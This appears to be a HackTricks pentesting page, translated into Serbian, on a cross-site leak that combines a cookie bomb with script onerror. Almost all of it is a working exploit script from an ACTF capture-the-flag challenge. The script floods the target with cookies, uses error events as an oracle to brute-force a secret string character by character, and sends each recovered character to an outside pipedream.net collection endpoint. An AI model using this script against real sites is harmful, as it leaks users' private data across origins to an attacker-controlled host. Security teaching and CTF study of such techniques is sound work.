hacktricks/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md

Cookie Bomb + Onerror XS Leak

{{#include ../../banners/hacktricks-training.md}}

Sledeći script preuzet iz ovde koristi funkcionalnost koja omogućava korisniku da ubaci bilo koji broj kolačića, a zatim učitava datoteku kao script znajući da će pravi odgovor biti veći od lažnog. Ako je uspešno, odgovor je preusmeravanje sa rezultantnim URL-om koji je duži, prevelik da bi ga server obradio, pa vraća grešku http status koda. Ako pretraga ne uspe, ništa se neće desiti jer je URL kratak.

<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
<input id="f" /><input name="search" value="a" />
</form>
<script>
const $ = document.querySelector.bind(document)
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
let i = 0
const stuff = async (len = 3500) => {
let name = Math.random()
$("form").target = name
let w = window.open("", name)
$("#f").value = "_".repeat(len)
$("#f").name = i++
$("form").submit()
await sleep(100)
}
const isError = async (url) => {
return new Promise((r) => {
let script = document.createElement("script")
script.src = url
script.onload = () => r(false)
script.onerror = () => r(true)
document.head.appendChild(script)
})
}
const search = (query) => {
return isError(
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
)
}
const alphabet =
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
const url = "//en4u1nbmyeahu.x.pipedream.net/"
let known = "actf{"
window.onload = async () => {
navigator.sendBeacon(url + "?load")
await Promise.all([stuff(), stuff(), stuff(), stuff()])
await stuff(1600)
navigator.sendBeacon(url + "?go")
while (true) {
for (let c of alphabet) {
let query = known + c
if (await search(query)) {
navigator.sendBeacon(url, query)
known += c
break
}
}
}
}
</script>

{{#include ../../banners/hacktricks-training.md}}